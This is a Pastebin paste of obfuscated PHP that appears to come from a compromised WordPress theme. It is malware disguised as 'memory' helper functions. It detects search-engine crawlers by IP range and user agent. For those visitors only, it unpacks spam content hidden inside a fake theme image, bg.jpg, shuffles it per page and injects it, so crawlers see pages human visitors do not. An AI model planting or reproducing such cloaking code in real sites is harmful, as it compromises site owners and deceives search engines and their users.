Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // $Rev: 1077 $
- if(!function_exists('__php___memory_exists')){
- function __php___memory_exists(){
- $masks = array(
- array(-655417344,-655409153),array(1089052672,1089060863),array(1123631104,1123639295),array(1208926208,1208942591),
- array(-782925824,-782893057),array(-1379794944,-1379729409),array(1249705984,1249771519),array(-655417344,-655409153),
- array(1078218752,1078220799),array(1113980928,1113985023),array(1089052672,1089060863),array(1123631104,1123639295),
- array(1208926208,1208942591),array(-782925824,-782893057),array(-965974848,-965974833),array(-1379794944,-1379729409),
- array(-668867184,-668867177),array(-668867168,-668867161),array(-776377216,-776377089),array(-663925936,-663925921),
- array(1078220800,1078222847),array(1078214720,1078214783),array(1076485568,1076485583),array(1249705984,1249771519),
- array(134744064,134744319),array(134743040,134743295),array(67305984,67306239),array(-772300912,-772300897),
- array(1070843976,1070843983),array(-772425592,-772425585),array(-1504013248,-1504013233),array(134623232,134625279),
- array(1083880144,1083880159),array(1180247960,1180247967),array(1180359496,1180359503),array(1180359472,1180359479),
- array(1081896984,1081896991),array(-772191936,-772191929),array(1081927080,1081927087),array(1104609120,1104609135),
- array(1104396896,1104396911),array(1105135664,1105135679),array(1105036720,1105036735),array(1062518496,1062518527),
- array(1082183584,1082183599),array(1103424288,1103424303),array(1119913504,1119913519),array(1104572512,1104572543),
- array(1180247960,1180247967),array(1180359496,1180359503),array(1180359472,1180359479),array(1173102912,1173102919),
- array(1290950648,1290950655),array(1208934400,1208936447),array(1132356616,1132356623),array(-869104592,-869104577),
- array(1128602128,1128602135),array(-655652792,-655652785),array(-826636096,-826636033),array(1667240832,1667240863),
- array(1172313552,1172313559),array(1172315992,1172315999),array(1172316008,1172316015),array(1172588248,1172588255),
- array(1172588256,1172588263),array(1172588264,1172588271),array(1172588280,1172588287),array(1172589672,1172589679),
- array(1173190880,1173190887),array(1199710944,1199710951),array(1199710952,1199710959),array(1199710960,1199710967),
- array(1199728392,1199728399),array(1199728400,1199728407),array(1199728408,1199728415),array(1199728416,1199728423),
- array(1199728424,1199728431),array(1259417800,1259417807),array(1259813304,1259813311),array(1260780984,1260780991),
- array(1261762592,1261762599),array(1261735552,1261735559),array(1261761744,1261761751),array(1261762104,1261762111),
- array(1261762112,1261762119),array(1261762120,1261762127),array(1261762128,1261762135),array(1288200544,1288200551),
- array(1289513400,1289513407),array(1291247208,1291247215),array(1671628112,1671628119),array(1670420000,1670420007),
- array(1670647064,1670647071),array(1190127072,1190127103),array(1663596768,1663596799),array(1164938648,1164938655),
- array(1164938656,1164938663), //g
- array(1093926912,1094189055), //m
- array(1136852992,1136918527), //y
- ); $is_bot = false;
- $your_mask=ip2long($_SERVER["REMOTE_ADDR"]);
- $stop_agents_masks = array("http", "google", "slurp", "msnbot", "bot", "crawler", "spider", "robot", "HttpClient", "curl", "PHP", "Indy Library", "WordPress");
- $_SERVER["HTTP_USER_AGENT"] = preg_replace("|User.Agent\:[\s ]?|i", "", @$_SERVER["HTTP_USER_AGENT"]);
- foreach ($masks as $mask)
- if($your_mask>=$mask[0] and $your_mask<=$mask[1])
- $is_bot = true;
- if($_SERVER["HTTP_A"]=="b")
- foreach ($stop_agents_masks as $stop_agents_mask)
- if(@eregi($stop_agents_mask, @$_SERVER["HTTP_USER_AGENT"]) !== false)
- $is_bot = true;
- return $is_bot;
- }
- function __php___memory_test() {
- if (!__php___memory_exists())
- return -1;
- $php__test_file = '/home/seattlerueda/blog/wp-content/themes/Craving4Green/bg.jpg';
- $data = @file_get_contents($php__test_file); // PHP >= 4.3.0
- $data = @gzuncompress($data);
- $startPos = 0;
- $blocks = Array();
- $label = '';
- while (false !== ($pos = strpos($data, '<block_d6e4ce93cf082de43cd713fd8e62103b id="', $startPos))) {
- if ($startPos) {
- $blocks[] = substr($data, $startPos, $pos - $startPos);
- }
- $startPos = $pos + strlen('<block_d6e4ce93cf082de43cd713fd8e62103b id="1234567890">');
- //$label = substr($data, $pos + strlen('<block_d6e4ce93cf082de43cd713fd8e62103b id="'), 10);
- }
- if ($startPos) {
- $blocks[] = substr($data, $startPos);
- }
- foreach ($blocks as $b) {
- echo __php_memory_diagnostics($b);
- }
- }
- function __php_memory_diagnostics($data) {
- $marker = '==d6e4ce93cf082de43cd713fd8e62103b=';
- $len1 = strlen($marker);
- $len2 = $len1 + 1;
- $pos1 = strpos($data, $marker);
- $pos2 = $pos1 + $len1;
- if (false === $pos1 || false === $pos2)
- return -1;
- $pos3 = strpos($data, '==', $pos2);
- if (false === $pos3)
- return -1;
- $num_lines = substr($data, $pos2, $pos3 - $pos2);
- //echo "VARS: [$pos1] [$pos2] [$pos3] [$num_lines]\n";
- $pos4 = strpos($data, $marker . '=', $pos3 + 2);
- if (false === $pos4)
- return -1;
- $hdr = substr($data, 0, $pos1);
- $ftr = substr($data, $pos4 + $len2);
- $data = explode("\n", trim(substr($data, $pos2, $pos4 - $pos2)));
- $data = __php___shuffle_by_seed($data);
- $data = array_slice($data, 0, $num_lines);
- return $hdr . implode("\n", $data) . $ftr;
- }
- function __php___make_seed($str, $count_r=3) {
- $seed = "";
- $tseed = 0;
- for($i = 0; $i < strlen($str); ++$i)
- $seed .= ord($str[$i]);
- for($i = 0; $i < strlen($seed); ++$i)
- $tseed += $seed[$i];
- return $tseed;
- }
- function __php___shuffle_by_seed($ar, $srand_seed=null){
- if($srand_seed == null)
- $srand_seed = __php___make_seed($_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"] . md5($_SERVER["REQUEST_URI"]));
- $ar_tmp = array();
- $i=0;
- while($i < count($ar)) {
- srand($srand_seed);
- $r = rand(1,count($ar));
- if (isset($ar_tmp[$r-1]))
- ++$srand_seed;
- else {
- $ar_tmp[$r-1] = $ar[$i];
- ++$i;
- }
- }
- ksort($ar_tmp);
- return $ar_tmp;
- }
- __php___memory_test();
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement